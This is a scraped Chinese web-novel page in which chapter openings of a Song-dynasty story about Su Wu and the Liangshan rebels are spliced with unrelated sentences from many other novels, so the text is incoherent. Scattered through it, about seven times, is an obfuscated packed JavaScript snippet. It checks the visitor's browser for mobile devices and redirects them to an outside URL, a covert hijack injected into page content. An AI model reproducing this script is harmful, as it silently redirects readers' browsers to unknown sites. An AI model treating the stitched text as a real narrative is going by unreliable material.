“人肯定还在医院,找,一定要把人给我找到了。”吴江脸色十分难看的怒道。 rg。rg 第130章 皆是自家子弟,人命金贵! 燕青自又去忙,苏武出城去视察一下工地,再催一催工地的进度。 然后又到处跑了跑,定了新的演兵计划,就是军演。 必须要开始做军事演习了,苏武算是有些指挥天赋的,乃至鲁达本就是军官,指挥能力都不差。 但指挥一二百人兴许对他们而言不难,指挥几百人,试过几次之后,倒也慢慢上手了。 但这 朱雀简直要哭了,他还能不了解自家主人的节操吗?她的话,什么时候能信了? 刘曜死了,羊献蓉为何还活着?她为什么还有脸活着,还成为了石虎的皇后。 “谢谢夏兰姐姐,有什么需要我会跟你说的。”饶是如此,随喜还是笑着应了下来。 林沉涛作为国内首屈一指的刺客,立刻领悟到了少年的打法,直接上去一掠,大招一击,对方血掉的同时,他这边会自动回血,再在薄九的辅助下,长枪回杀。 万利对于沈炎萧的回答也有些惊讶,但是在惊讶之后,他却笑了。 乌鸦扑腾着翅膀停在窗外的树枝上,猩红的眼瞳中倒影屋内两人。 只是沈炎萧体内的神族血脉还处于沉睡中,至今没有觉醒,还无法使用神族全部的力量。 这碎星宫和沈炎萧之间不对盘他们是知道的,他们这次的目的地是碎星宫,可是怎么就给带到了荒芜之地来了? 他的嘴角微勾着,带着一丝戏虐,仿佛游戏人间一般,羊献蓉眉头微皱着看他,他……只将这场战争看做一场游戏? “冯侍卫客气,当时是妾身无礼,很是惭愧。”出岫想起此间经过,轻声回道。 这可是个鬼门关刚走回来的孩子,却还能思考这么多,太懂事了。 “沈予一厢情愿喜欢你,但你与辞儿两情相悦,不是这个理儿吗?”太夫人见出岫哑然,便接着问道。 然而,让宋北桥更加意外地是,四皇子赵成民的突然到访,让他很是疑惑。当宋北桥带着家人众人,前往迎接四皇子之时,他的心里已经猜测出多种赵成民来到国公府的意图。 \t“是呀,我是想干坏事,可这位老板不干哪。哎,怎么就遇上这么一个榆木疙瘩,不解风情,让奴家好生失望。”闫莉幽怨地说道。 这个节骨眼上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702556|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还好自己什么没来得及说出口,否则南影儿肯定会杀了自己吧? 人员一换,森林狼这边进攻火力依旧,马布里今天的比赛打的非常的专注,往往有队员出现空位的第一时间,马布里就会将球送到队友的手中。 此时的天生,浑身上下不着寸缕,一丝不挂,一身肌肤洁白红润,宛如初生的婴儿一般细嫩光滑,尽管是**的,但是却让人根本生不起一丝邪恶的念头,相反却显得高高在上,让人敬畏。 “行,那就来两碟,再来一壶蒙顶石花。”宋远指着一间靠窗的雅间,带着吕香儿走了进去。 而今日,他们还是彼此沉默,只是这一次的沉默,是为了另外三个字“只不过”。 “哼!”多利亚一声冷哼,直接以雷霆之力清除掉寂灭力量,随即挥动雷神之锤砸向江东。 身后安静良久,我转身,手上还捧着一个盛满水的茶碗。又瞥见亮堂堂的屋外,于是放下手中的茶碗,将窗户尽数打开。 是她的爷爷吗?连梓娜的眼神一瞬间空洞,只有那些声音,还在争先恐后的钻进她的耳朵里。 rg。rg 第131章 这不是打发要饭的吗? “禀告将军,燕指挥使差小人先来回报,此番梁山之骑,四处在奔,跟了几路,往东往北皆有,往南也有,一时着实辨别不清……” 时迁拱手站在议事堂前,最后还有话语“燕指挥使说,还请将军……治罪。” 苏武叹了口气,只说“宋江吴用之辈,长进得快啊……” 可不长进得快?前几个月,还都是新手出村 不要着急不要着急,相见有望天色已晚,于是刘志,便差单寻妃于次日早,西北行船赶往荒草汙去迎接怒娃。而许多人,都是在江边守候了一宿。 另外九艘,并不全是一个级别的巡洋舰,有四艘是介乎于护卫舰和巡洋舰之间的战舰,他手下那些护卫舰还能应付。 回到家里的时候,一直担忧着钱的事情的陆宇,才发现自己后背都要被汗湿透了,因为问姐姐陆安可要钱的时候,实在是不够理直气壮,也担心姐姐不会给自己太多钱,当时还在想自己应该去找谁去借,也就出了这么多的汗。 伍德只能答应,肖林露出笑意,走到他面前,开始解开手铐。突然一下,伍德没反应过来,就被肖林塞进一颗药丸。 亲爱的,这句话都说到这个份上了梁萧自然也不是那种婆婆妈妈的人,自然也说不再劝阻,就开始说起了接下来的计划。 “你是荒狼团的头儿,只要你还在,那么荒狼团就依然算是存在的。”路双阳道。 不过,黑衣年轻人占据了地利上的优势,他借这一掌之力,身形飞速朝上攀去。 但是梁萧却是也不想给别人当沙袋的,所以现在的梁萧就把希望投到了刘振义的方向,一双楚楚可怜的眼睛眨巴眨巴的盯着刘振义。 “伽蓝神将”到现在也不敢肯定,这到底是不是运气,但连续两次,足以说明一些问题,绝对不光光是纯粹的运气能解释得了的。 “赶紧过来吃,哪儿来那么多废话?”兔子拿起一双筷子,扔了过去。老黑一扬手便抓住了,屁颠屁颠地跑了过来,屁股一顶,把兔子挤到一边去,然后大大方方地在奶妈旁边坐下,满脸的自豪。 金玉般的骨骼颜色向开始变浅,还原向骨骼本来的颜色,由金变白,玉泽内敛。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702557|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 九龙山,名副其实,远远的看去,真的仿佛九条纵横交错,形态各异的大龙,有些山峰更是高耸入云,上方又有雷电缭绕,当真如人间仙境一般。 可就在这时,又遇到一对冒险者走来,看样子是刚经历了一场血战,模样十分的狼狈,为首者是一位中年,手臂都被斩断,更确切的说,是被某种怪物咬断。 但那个这种速度对于俞升来说更像是在儿戏般笨拙,俞升轻轻一错步就让开,然后用身体在那人身上轻轻一撞,那人就翻着跟头摔了出去,滚出四个跟头才停下。 不光陈铮变色,沈浪等人也是脸色大变。没想到魔神宫的贼子追的这么紧,竟然直接追到冀州境内。 这道黄泉大河,就是黄泉至尊的本命神器,所过之处,万物寂灭,一旦被吞噬,将会成了这件至尊神器的一部分,称为黄泉河中数以万计的怨灵一员,永远的留在其中,永世不得超生。 欧阳殇冽才下意识的收回手,就在刚才他把叶语晴当成了欧阳樱绮,而那个举动是在欧阳樱绮面前再正常不过的了。 rg。rg 第132章 莱州,城破了! 只管是城中大小富户一应聚来,就聚在府衙之中,这般紧急时刻,倒也无人拖沓。 知府黄皓便是看着苏武,轻轻叹了一声,三万贯,着实不少了,是黄皓能拿出来的极限。 便是他也知晓,大宋朝的兵,就是这样,不给够赏钱,那是万万不会动的,乃至列了阵,赏钱不至,也不会打,哪怕射了箭,赏钱不够,也不多射一支… “你不杀我,我杀你!”洛倾月眉眼一厉,身形骤闪,一掌横劈圣儿的脖颈。 可是,令李坏死意想不到是,许香香一双清澈的眼睛直直的望着他,然后,慢慢,慢慢的蓄满泪光。 柳妃点头,吩咐道“你们都退下吧,让我们娘仨个说说知心话。”一句“娘仨个”把姚清沐心里说热乎乎。 为了足以制约白,星母从来不会放任黑离开她的视线,也不会让他和白过多接触,因此,比起白,黑更加忠诚,而且在星母看来,只要假以时日,他一定能获得足以与白抗衡的能力。 歌唱间,他们的船儿也已经到了湖中心了,隔着我们只有几丈远的距离,却再不靠近。 顾阑珊坐在铁栏杆后面的椅子上,黑白分明的眼睛,盯着自己面前坐着的两位警|察,撇了撇嘴,没有吭声。 然后,正如他介绍的那样,李伟昊提着那根满是倒刺的鞭子上场了。 她不停的说着,不停的捶着,忍了很久的眼泪终于簌簌的流了下来。 洛倾月眉间紧锁,她虽然想要险中求胜,但是这一局,必胜的把握她还是没有的,现在的她就像是在与素和玩拉锯战,只要一方稍不注意,松手一点,便会满盘皆输。 无极真人笑眯眯的推了紫阡陌一把,看样子,竟然连带路都省下了。 最后还真把洞口给砸开了一些,但也不大,杨洋向下看了看,里面什么都看不见。 下一刻,只听“嘎巴”声响,似乎启动了什么机关,一排箭矢在凌昊面前自上而下激射下来。 “也请我吃个雪糕呗!”他似乎刚从操场上回来,黑发湿漉漉的,干净清澈的双眸含着笑意。 拿好推车后就走进超市,里面人还不算多,想来等会结帐也不会多等。 因为他的夜瞳,已经看到,这一道强大的符箓,竟与此前遭遇的北翟王国,秦玉手下祭出的禁空符,一模一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702558|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。 龙鹰的背上,黑衣少年的银发飞舞着,犹如千丝万缕的水银,闪动着刺眼的光芒。 用我铸的剑,反手就砍我?况且这两把剑刚出炉,你确定现在就能用? 这个时候,那黑色的珠子就好像是活了一般,感受到别人的窥探之后,它好像发怒了,猛烈的抖动之后,直接将钟无恨的灵识驱赶出去了。 同一时间,不单单苏玥三人取代了三位棋手,在比赛场地的其他地方,也有棋手偷偷换了人。 “你们几个先留在这里,我去前面看看,欧阳,把那封信件给我。”本来打算让欧阳绝前去打探情况的,又怕他会发生什么危险,所以这一回,还是让我去打探情报比较好。 就在沐毅在精神修炼室对抗精神威压的时候,另一边,金云还有金雅两兄妹也是坐在帮派里一处风景较好的地方,看着天羽灵院里的风景一边看一边谈话。 无奈之下,萧戾元神出窍,意图逃脱,只见极道玉清大帝紫虚,袖子一挥,一团团黑气散去,紫虚那么一抓,那黑色的煞气便轻易的被破去,被黑暗吞噬的众人,又重新回到了世间。 rg。rg 第133章 他一个武夫,何以有资格代朝廷招安与我? 刚打完一仗,大军立马拔营急行,饭都来不及吃,好在马多,便多在马背上吃干粮。 游骑各处去放,便是一定要寻着梁山贼人归去的路,莱州已然就是半岛咽喉,能走的路不多,能走的方向也不多。 只管去堵去截,兴许要分兵了,若是贼人得许多钱粮物资,分几路而回,便也要分几路去堵。 苏武在马背上,眉头紧 “可以是可以……”叶子瑜发现自己和这人的语言沟通完全没有问题,“可是,我也不懂画。”她有些为难的看了眼画。 “哼!”王国强冷哼一声,但没有继续说话,意思就是要让李耀民把李思萌喊下来。 源尘愣了一下,之前他没感应错呀,焱天火明显是被污染了,可是就在刚刚,污染竟然全部被清空了,真是有些不可思议。 突然,一个威严的声音从萧雨前方传来,这也把他着实吓了一跳。 今天,再次开会。走进会议室,金忠阳就已经明白,没用了。所有人都是耷拉着脑袋,他没有见到一颗昂扬的脸蛋,所以依旧没人能写出来。 “没事,你只要跟我说怎么走就行了!”庞统似乎非常急迫,他都不想提到落凤坡这三个字。 看到这句话,洛丢丢愣住了,难道……真的如陆明远所说,他对自己……有了其他的想法? 陈子瑜见状很是着急,但他又不能轻易上前去解释什么,也许这样只会越描越黑!陈子瑜看着眼前的一切,手足无措,乱了阵脚。 简傑起身出了教室,去了楼梯间后,才给顾北辰打了电话……顾北辰还在开会,婚礼前一天,帝皇的会议室内有着强烈的冷气压。 楚梓霄站在二楼包厢的窗口,视线微垂的落在了简沫的身上,渐渐的……眸光变得幽深起来。 老爷子一看,似乎没有什么太好的办法,所以也就不在说话了,过了良久他看徐乘风也毫无惧色,似乎是通过了考验。 如果说龙家的风气不好,那么这个龙辰,完全是在践踏龙家的尊严。 尽管机械人已经发展出无比高级和复杂的程序了,但是组成这些程序最底层、最基础的编码,还是二进制。 这也是华夏为什么能够改革开放成功的原因所在,太祖那个时代,虽然技术落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702559|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,用的都是人家淘汰的设备,研发个原子弹居然还要用算盘。 杨超然看到这份合约,就觉得很是不公,接着杨超然就皱着眉头,打电话叫来了田助理。 一个中级战将境的武者,居然连一个初级战将境武者的防御都破不掉,这事说出去丢人。 接着不动声色的又用公筷的给杨超然夹了一些菜,他们脸上的表情才轻松了下来看着杨超然。 他打算再争取一下,燕家和张家的关系不错,自己再拿出张少的身份出来,请求爷爷为自己做主。 “你要勤学苦练,不然以后再遇到这种事,运气不一定像这次那么好了。”胡老头突然语重心长起来。 “给我滚!”加百利大吼一声,翅膀银光大作随即盘旋而起。上千具僵尸化被绞碎成骨渣,引起僵尸潮的疯狂抢食。 神识,是修士最好的眼睛、最基本的神通,同时也是最实用的天赋技能。 听到沁心学姐的话时,龙星麟也大概的知道了沁心学姐话中的这个学员是谁了,那肯定就是五百年前的那位学姐了,雪梦瑶学姐。 rg。rg 第134章 从今往后,天下何人不识你我? 吴用一声“不好”,宋江更是大惊,只看那一彪人与马皆披铁甲的骑兵,瞬间冲出营寨大门,一头扎进刚才还在进攻营寨的人群之中。 何以这个时候出来? 因为贼人都围在营寨之外,前面攻不进,后面督战队却也在驱赶,不仅前后不一致,连左右的队列早已没有。 这队骑兵并不多,拢共不过三百来号,如洪水而出 这样一个团里,每个兵种都有一两个智慧较高的亡灵单位指挥。还有一部分精锐战力归死亡骑士和巫妖直辖。目前的灵魂网络指挥系统就部署到团一级。 若论水军,南朝尚有一说,步兵也勉为其难,用骑兵算什么?而且之前他听李彪说过,他以前几次参加的讲武活动都是以水军为主,步兵也有两次,骑兵却是从来也无。 “这样也行?”方昊听到红包系统的提示有些无语,然后他便直接招出青铜古鼎直接将云清散丢进云,然后便吃起早餐来,一股暖流随着青铜古鼎炼化了云清散而流入方昊的身体中。 虽说沉浸在工作之中的感觉并不坏,而且意外地不会让人感觉到时间的流逝。但一旦从中脱离出来后,身体瞬间涌上来的疲劳感,却是每次都提醒着他刚才到底做了什么伤害自己的事情。 理智上来说此时忍忍挨顿打就过去了,但是明哥表示忍不了。叔可忍,婶不可忍。 苔丝还不会用筷子,因此她面前当着刀叉和勺子,她几个菜各尝了点,立刻眉开眼笑地大赞美味。 他口中的“三天功夫”,指的是上学期间仅仅占用晚上的时间的情况。如果真放开手去做的话,那么估计最多花上一个白天的时间,便能够完成一个作品。 顿时,无数的天雷,直接出现在了这里,向着眼前的这些人攻击了过去了。 而他一旦前去寻找了这个气运的话,那到时候,他们还如何跟叶辰争斗? 艾罗兰帝王是分化了万千意识体去抵抗那些凶妖灵意识体,让更多的君主强者可以真身对抗消耗天骄君主凶妖灵的本源,他一人之力,便可抵挡住上万的君主凶妖灵意识体。 叶凡心中恍然,这才明白香飞儿之前为什么要将她知道的事情都说出来,且是软语相述,皆因真有事相求,说到那么多话,才摸到正题,亦可知香飞儿必有天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702560|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大重要的事,始会这样做。 此刻,没有人能够阻止了他,因为他是清醒的,是故意要将自己灌醉,对于这样的人,谁又能说些什么呢? 不管是从那一方面来讲,何清凡都没有办法看透南宫萍儿的身体,像是被封印了很多的东西,被一股神秘的气息萦绕,竟然泛着一股让何清凡心惊胆跳的圣道之力,很是可怕,绝对是何清凡现在遇到的最强的一位。 通过望远镜,骑在马背上的纵横军官遥望着废墟中冒着烟的第四防线,得意之色溢于言表。 本源力量的掌握在半步世界级中是妖孽战力的分割线,除非有奇迹特性或超出标准的基础素质,不然是很难跨越这个界限。 于是,强忍着心中的委屈和怒意,龙妍就这样捂着耳朵从沙发上离开,然后直接返回自己的房间,把门关上。 如果一味避战的话,显然苍霸天是一辈子都不可能找出五色幻兽的。 磐石他们这些世界级二阶素质标准的,此时的本源奥义已经达到了接近世界级巅峰的威能,而幻梦火刺她们,也有世界级高阶的威能。 rg。rg 第135章 出去,有多远去多远! 回去的路上,宿夜。 中军大帐里提来一个人,众多军将皆在,认识这人的倒也不是一个两个。 这人头上包扎着,脸上还有血迹未完全擦拭,他绑缚了半身,就坐在地上,左右看了看满场之人,再看头前那中间端坐的苏武,便也打量来去。 苏武指着他,与众人笑着来说“这厮名叫花荣,本是那青州清风寨的副知寨 “给我安排个房间,最好能看到街后面,我喜欢欣赏夜景。”清静思索了下说道。 光头不知道余援军为什么会拒绝,但是看见余援军这么说之后,也点了点头,他们的任务也确实是骚扰伊拉克士兵,佣兵虽然为了金钱而战,但是也需要遵守信用,不然的话,以后在佣兵世界不好混。 一夜过去,仙仙和神夜态度依然如往常一样,谁都没有再提过昨夜的事。 沙猫回应了一声,开始活动四肢,这事它已经做的轻车熟路,草原上能追上它速度的生物,几乎没有。 ??此时如果有人能从空中望下去,清静站在那圆形巨坑中,又像是形成了一个太极图。 她原本也没想过要做第三者,但最后还是没控制住自己。她更加没想到,自己才和边塞有了实质关系,边塞的妻子就找了过来。 像是某种无常效应,南阳客栈之外的这一片空地,竟是渐渐地空了出来,而杨婵对此不以为意,只是那样静静地坐着,一派岁月静好。 林轩端坐在床上,他上下打量着木屋内的环境,脸上露出淡淡的笑容。 此时的山本三郎,已经痛苦的躺到了地上,捂着肚子不断的喘息中。 池晗昱不搭理张幼仪,继续喝着自己的水,张幼仪气不过,拿起一个枕头就丢向池晗昱。 它通体是泛着金属光泽的银色,其上,烈焰铭刻了复杂的花纹,它的龙鳞正如同竹霜降他们之前拿到的一般,在烈火之中熠熠生辉。 但他既是一国宰执,论年纪也可为晏迟祖辈了,当然做不出主动往晏迟的别苑拜会的事,而是打算着眼瞅将近中秋,办一场宴集,顺理成章般就给晏迟送去一张请帖。 途中王昊遇到过最强的毒虫也不过两仪境而已,但他还是通过许多迹象发现了四象境毒虫的踪迹,当然他也不敢去探寻,只得远远地避开。 它的实力和巨猿相差不大,生前都到了接近大圣的程度,但现在连动手的念头都不敢有。 “少操点心,不然容易老。”白黎也是丝毫不嘴软,这里的男人怕什么,不就是怕年老色衰吗? 曾四月望着淳元,她知道她现在的状态,没想到淳元竟然会是这样的状态,似乎这个世界天崩地裂也不关她的事。他想知道现在的淳元到底怎么了。 曾四月看见淳元转身看着他们,在自己转身的下一刻,淳元也转身了。 颜萧萧终于放松下来,但是她眼睛有点酸涩。许翼,谢谢你的关心和理解,这刻真的温暖了我。 冷阎一脸‘阴’霾恨戾,他找了她这么久,怕她离开他会受苦受累,担心她傻会得罪人,会不会被欺负,会不会挨饿,为什么不回来。 而他们又恐惧敬畏他老子,所以只能跑来他这里,打着为他打抱不平的旗号,对南宫冥各种损。 他们竭尽所能的想要研制出属于他们的核武器,能够一击击溃魏国的大部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702561|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队,实现惊天大翻盘的壮举。 林越被端木芷歌拉着飞,忽然看到后方追他们的人,赫然是陈玄众人。 如此,本来就在为武斗型人士不足,又不能把不懂得研究所里的研究的人招进来,导致异世界人看出端倪,而发愁的布克立刻就同意了这个请求。 程暖虽然很是不高兴穆风的所作所为,但此刻却只能附和地笑笑。 同样的事情是真正的在这个时候,怎么去真正的做好这些改变的同时。 天已入深秋,这清和坊却仿佛将春色永远留在了园中,溪中碧水,倒影着岸边垂枝飘飘的杨柳,婀娜宛转。不若白家村山野中草木衰败,园中依旧有许多不知名的花草枝茂叶盛,葱郁芬芳。 但马车中这位,自打她出生以来,便牢牢坐稳这第一美人的位置……长得很美自不必说,关键还在与她的家世。 一行人又这样回了正院正屋,沈幼芙看着正在品茶,并且跟老夫人有说有笑的叶伦,心中暗暗有些不爽。 “继续跟他们血拼下去?”已经没有什么斗志的李大雷等人闻言不禁微微一怔,心中随即充满了疑‘惑’和不解。 “相信他有会长一样的本事,可以在我们的渔季在没有会长的时候也有好的收获”赵有根所说的我们的渔季就是指贝海捞完虾开始到中国的农历春节左右的这一段时间。 露西看着李少扬一句话都不说直接上楼,心里一阵不安,想要追上去,可是又怕打扰到李少扬恢复,双眼看着李少扬离开却没有动。 高阶恶魔没有猜错,当他来到通道入口处,入眼的是数量巨大的领主级恶魔。 rg。rg 第136章 老了好,老了就看不到了 有了李成这档子事,苏武忽然想起了一个人来,也是类似的事。 比如,花荣的妹妹与武二郎。 武二虽然是个直男,但不代表他不会疼人,花荣也说自家妹子读过书,知书达理的…… 当然,也只是暂时想一想,花荣其人,还当过段时间再说。 而今这些事,梁山之事,在苏武心中,其实从未真正过于在意,这 樱间如同导师一般慢慢讲解着她所知道的事情,就连沐枫夜也渐渐相信她是凭借异于常人的观察能力发现的这些了,如果她有其他目的的话,就不可能连续救自己两次了。 就在赵铭凝神研究的时候,几道虹芒从墨色纸张上渗透而出,在半空中交织在一起,形成一道光幕,像是光之精华凝聚而成,灿灿生辉,晃得人睁不开眼睛。 需要动用十几个返虚境,上百个化神境巅峰,上千的化神境,还有八千多的洞真境高手。可想而知,这关家的实力,到底有多么的深厚。 一大口鲜血涌上来,沐枫夜顿时跪倒在地,浓重的血腥味充斥着口腔,喷洒在地上。 贞若看了一眼杨剑,气愤地说“哼,你这个重色轻友的家伙,不理你了。”说完,就消失不见了。 无常貌似没有痛感,对于自己的左手被削掉毫不在乎,右手搅动着链条,这时,铁链就像活了一般,不用无常再去控制,自己就向凯尔射去。凯尔在空中无处借力,只得把长剑挡在自己的胸前。 在看不到的情况之下,要杀和自己对战的骷髅,用来练习见闻色霸气。 心中有了定计的叶拙也不再理会更多,就在传送大阵方石台上盘坐了下去,缓缓催动起了自己的功诀心法,包括已经让神魂接近无垢之境的无垢经,也包括肉身经脉,丹田真元恢复急需要的引灵经跟无漏经。 千多丈的距离,那股股呼啸阴风此刻已经极为犀利,冰寒更是激增了不少。 “铭儿,就不要如此拘礼了,你不陪你娘亲,来找天伯有事吗?”一头花白头发的天伯脸上挂着笑容,睁开双眼,亲切的问道。 这里是地下皇陵,而不是什么深山老林的,这里怎么会有野兽呢?而且这些人又是怎么进来的? “你们不用担心!一切都会没事!”独远令他们好生守护这里,于是继续前往事发地。 他的头顶上,是硕大的海洋之心,但陈浩没有管这些,尽速炼制出混沌界才是当务之急。 沈奇山,于是,道“万知府,请坐!”沈府旁侧一位堡丁,于是前去为万知府看座。 这教廷还真是富有,几乎每一把十字剑,都有一定的灵韵在其中,也算是低品阶的灵器。 突然,一团黑炎,犹如太阳风一样,从太阳上飘飞下来向萧飞烧来。这一团太阳风的温度,几乎有十万度左右,如果被烧到萧飞会粉身碎骨。 最让江凯然意外的,还是林雨涵的突然出现。这一上午的时间,林雨涵至少来了三次,理由就是一班和三班距离不远,而且她可以确定江凯然是不是在教室里,不至于再来找他又会扑个空。 这个司徒强的管家,唐炳出去安排之后,司徒强也站起来,整理了一下有些花白的头发,身穿一身宽松的练功服,就走了出去。 他身形刚一出现,神念旋即散开。刹那间,感应到四名黑袍鬼修所在方向,目中杀意升腾而起。 第二天的论道大会,休养多日的方逸远终于再一次在人前露面了。外界一些关于他已经死了的传闻,当然不攻自破。 身体素质与本体一般无二——三人共用一个身体,区别只在于对力量的发挥程度不同,所以,现在的唐三,要说实力,可能也就是外在表现出来的实力。 半晌,唐浩飞脸孔紧绷,慢慢抬起头,用仿佛火山即将爆发一般的语气质问道。 随着持续不断的轰隆声,一座石山从地底冒了出来,掀起阵阵灰尘,当震动停止后,一座巍峨的石山出现在了众人眼前。 而且等我整个身子落地后,我膝盖以下的地方,全钻到沙子里了。我平躺下来后,又急忙左拧右晃的,反正跟个蜥蜴一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702562|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝麒和胖子不敢恋战,解决了身边的魔兵,立即拦在了花木真一的面前。 只见其一步步的行走着,手中的匕首不断的刺出,一名名苍鹰部落的强者心脏被贯穿。 即使到了这时候,勒森依然充满了一种国式的优越感,那是根植在骨子里的傲慢,哪怕他只是一个区区普通人,面对两个吹口气就能杀死他的神境。 他看见一缕缕黑气自宋青头顶飘出,在佛光照耀下迅速消散,而宋青脸上的乌青光晕也随之消失,渐渐呈现出透明之色,神情也变得安详起来。 他漠然地移开视线,从潇湘身边走过,直到将那清丽的姿容抛在脑后,他才彻底按下了所有的犹豫和彷徨,冷酷地坚定了自己的方向。 只见杨妍身着一件杏色襦裙,头戴一支银簪子,看起来简约又灵动。 仿佛已经看到自己拿下角色后的模样,乔曼嘴角的笑怎么都压不下去。 楚一天又看了一眼后视镜,开着宝马车拐上大路准备离开产业园。 但他始终谨记着王爷的交代,让他 们听从永乐公主的一切命令,于是请示地看向了箫瑶。 时至今日,我的存在就是曲风摇的眼中钉肉中刺,是不会给霍家下蛋的母鸡,她想见我能有什么好事? 在这种环境下,皇子们对自己的生母,以及兄弟姐妹们能有太深感情才是怪事。 沐浅浅感觉到了衣服的黏腻,终于后知后觉地意识到发生了什么。 明神号总长一千二百九十六丈,高三百三十丈,宽一百一十丈,能一次性装载几千万斤的货物,可运输十万大军在一日内飞行三万里。 “蠢东西,你看什么看?”陈嬷嬷狠狠一巴掌甩在萧婉如脸上,还使劲掐萧婉如的胳膊。 魏玖在林纵横的身旁坐下,乔红鲤十分自然的将茶杯换成了酒杯,对此魏玖嘴角露出了一抹冷笑。 袋子里的萧晗只觉被他擒拿住的手臂瞬间变大,接着便是传来一阵巨力,空间动荡,扯着他往前飞去。 rg。rg 第137章 上马上马,先入本寨大营! “砰”听到大胡子的骂声,来沪庭生气的上去便是朝着大胡子受伤的左腿伤口一脚,通的大胡子哇哇大叫,“带走。”看了他一眼,来沪庭朝左右吩咐道。 其它且不提,单单接下来的破碎虚空,让王乐更加有把握,不再像之前那样两眼一抹黑,只能走一步看一步。 这时候,他们才知道叶青的实力到底有多么变态。一个个感到身上阵阵冷汗。 虽然不愿意多谈血液当中带着金色的问题,但是王乐见海无涯欲言又止的模样,心中也不禁犹豫了起来。 许多只见眼前一花,原本什么都没有的基地猛然出现了一层五颜六色的薄膜。 秦暖暖倾下身子,也不管因为苏翼白游走的手,亲了亲苏翼白的眼睑。 他为她费了多少心思,打乱了多少计划,又好容易说动了太后娘娘帮忙。孰料这个胆大包天的丫头,居然还想给他逃跑。每思及此,他就觉得心里窝着一股火。 田中闲点点头,也没有继续说什么,拖着疲惫的身体离开了,他明天就要参加毕业考试成为真正的忍者了,还是先恢复自己的最佳状态先。 我暗地里松了口气,同时也期待八千流回到尸魂界见到斑目一角和绫濑川弓亲以后,将他们的外号改成好基友时,他们的表情肯定会非常的精彩!估计那个时候他们就该后悔去现世,看到那些基情满满的漫画了。 对方的礼数周全,长孙恒安的脸色这才稍稍好了一些,将手中的礼物交给了管家旁边的下人,在管家的带领下,两兄弟这才进了国公府。 “薛教练,我想继续比赛,这是我的比赛,我要坚持下去!这么多观众都在看着我,我还能跳!”方海泉决然的说。 